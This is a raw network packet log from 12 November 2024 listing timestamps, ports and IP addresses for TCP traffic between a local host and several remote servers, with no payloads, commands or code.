Nov 12, 2024 13:35:33.389976978 CET	443	51605	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.390340090 CET	51605	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.390407085 CET	443	51605	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.391386032 CET	443	51606	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.391583920 CET	51606	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.391592979 CET	443	51606	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.392633915 CET	443	51606	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.392726898 CET	51606	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.393055916 CET	51606	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.393121004 CET	443	51606	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.405577898 CET	443	51607	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.405819893 CET	51607	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.405837059 CET	443	51607	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.406883955 CET	443	51607	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.406949043 CET	51607	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.407242060 CET	51607	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.407299042 CET	443	51607	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.421443939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.421735048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.421746016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.421761990 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.421816111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.421866894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.421879053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.421890020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.421901941 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.421962976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.422244072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.422333956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.422344923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.422383070 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.422450066 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.422590971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.422710896 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.422790051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.422837973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.422849894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.422868967 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.423010111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.447642088 CET	51605	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.447642088 CET	51607	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.447680950 CET	443	51607	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.454576015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.454615116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.454627991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.454644918 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.454674006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.454782963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.454901934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.454911947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.454932928 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.455023050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.455023050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.478296995 CET	51604	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.478311062 CET	51606	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.478317022 CET	443	51606	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.539141893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.539212942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.539226055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.539238930 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.539324045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.539599895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.539613008 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.539680004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.539709091 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.539787054 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.539798021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.539810896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.539820910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.539834023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.539863110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.540004015 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.540231943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.540419102 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.540493011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.540605068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.540615082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.540663004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.540709019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.571218967 CET	51607	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.573714018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.573725939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.573744059 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.573755026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.573765039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.573775053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.573785067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.573796988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.573826075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.573827028 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.573884010 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.573884010 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.656619072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.656656981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.656666994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.656672955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.656759024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.656759024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.656915903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657006979 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657016993 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657068968 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.657145977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657165051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657299995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657310009 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.657329082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.657392025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657402992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657464981 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.657464981 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.657816887 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657826900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657836914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657918930 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.657918930 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.657931089 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657942057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.657990932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.657990932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.667840004 CET	51606	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.691648006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.691695929 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.691706896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.691797018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.691921949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.691935062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.691946030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.691998959 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.692073107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.692218065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.692228079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.692344904 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.774245024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.774305105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.774317026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.774333954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.774444103 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.774446964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.774461985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.774497986 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.774566889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.774599075 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.774692059 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.774724960 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.774754047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.774765015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.774837017 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.775331020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.775376081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.775387049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.775423050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.775507927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.775546074 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.775563955 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.775576115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.775603056 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.775635958 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.808984995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.809047937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.809060097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.809103012 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.809184074 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.809261084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.809274912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.809410095 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.811258078 CET	443	51608	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.811712980 CET	51608	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.811733007 CET	443	51608	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.815195084 CET	51608	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.815203905 CET	443	51608	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.824620008 CET	443	51609	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.825341940 CET	51609	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.825357914 CET	443	51609	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.826221943 CET	51609	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.826227903 CET	443	51609	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.834041119 CET	443	51610	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.835131884 CET	51610	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.835131884 CET	51610	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.835146904 CET	443	51610	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.835155964 CET	443	51610	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.858728886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.858773947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.858969927 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.859070063 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.859483957 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.875096083 CET	443	51611	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.876087904 CET	51611	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.876087904 CET	51611	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.876111031 CET	443	51611	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.876132965 CET	443	51611	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.881186962 CET	443	51612	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.881557941 CET	51612	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.881587029 CET	443	51612	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.882314920 CET	51612	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.882320881 CET	443	51612	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.885783911 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:33.887243032 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:33.887267113 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:33.888341904 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:33.888427973 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:33.889812946 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:33.889812946 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:33.889827967 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:33.889895916 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:33.891669989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.891733885 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.891733885 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.891747952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.891938925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.891948938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.891998053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892009020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892010927 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.892040014 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.892040014 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.892098904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892132044 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.892160892 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.892298937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892311096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892323017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892359018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.892467022 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.892538071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892628908 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892644882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892652035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892679930 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.892679930 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.892740965 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.892921925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.892942905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.893102884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.900819063 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:33.901631117 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:33.901647091 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:33.901982069 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:33.902328968 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:33.902388096 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:33.902504921 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:33.926491022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.926553965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.926565886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.926672935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.926672935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.926776886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.926789999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.926842928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.926842928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.941766977 CET	443	51608	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.941826105 CET	443	51608	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.941929102 CET	51608	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.942312956 CET	51608	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.942333937 CET	443	51608	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.942353010 CET	51608	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.942358971 CET	443	51608	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.945597887 CET	51615	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.945628881 CET	443	51615	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.945849895 CET	51615	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.945998907 CET	51615	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.946012020 CET	443	51615	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.947335005 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:33.949031115 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:33.949073076 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:33.957444906 CET	443	51609	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.957482100 CET	443	51609	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.957519054 CET	443	51609	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.957612038 CET	51609	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.957729101 CET	51609	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.957849979 CET	51609	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.957861900 CET	443	51609	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.957890034 CET	51609	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.957895041 CET	443	51609	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.960787058 CET	51616	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.960843086 CET	443	51616	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.961194038 CET	51616	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.961287975 CET	51616	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.961307049 CET	443	51616	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.963485003 CET	443	51610	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.963892937 CET	443	51610	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.964056015 CET	51610	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.964185953 CET	51610	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.964185953 CET	51610	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.964200974 CET	443	51610	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.964211941 CET	443	51610	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.967407942 CET	51617	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.967428923 CET	443	51617	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.967721939 CET	51617	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.967721939 CET	51617	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.967751980 CET	443	51617	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.976214886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.976305008 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.976316929 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.976423025 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.980236053 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:34.009282112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.009382963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.009394884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.009438038 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.009565115 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.009599924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.009610891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.009622097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.009669065 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.009705067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.009721041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.009742975 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.009870052 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.010519981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.010529995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.010667086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.010678053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.010694981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.010696888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.010718107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.010752916 CET	443	51611	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.010778904 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.010799885 CET	443	51611	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.010835886 CET	443	51611	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.010864973 CET	51611	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.010938883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:34.010992050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:34.010992050 CET	51611	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.011795044 CET	51611	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.011800051 CET	443	51611	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.012116909 CET	443	51612	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.012206078 CET	443	51612	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.012334108 CET	51612	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.012499094 CET	51612	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.012517929 CET	443	51612	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.012547016 CET	51612	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.012552023 CET	443	51612	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.014821053 CET	51618	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.014868021 CET	443	51618	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.014964104 CET	51618	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.015042067 CET	51619	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.015053988 CET	443	51619	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:34.015177965 CET	51619	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:34.015181065 CET	51618	443	192.168.2.6	13.107.246.45
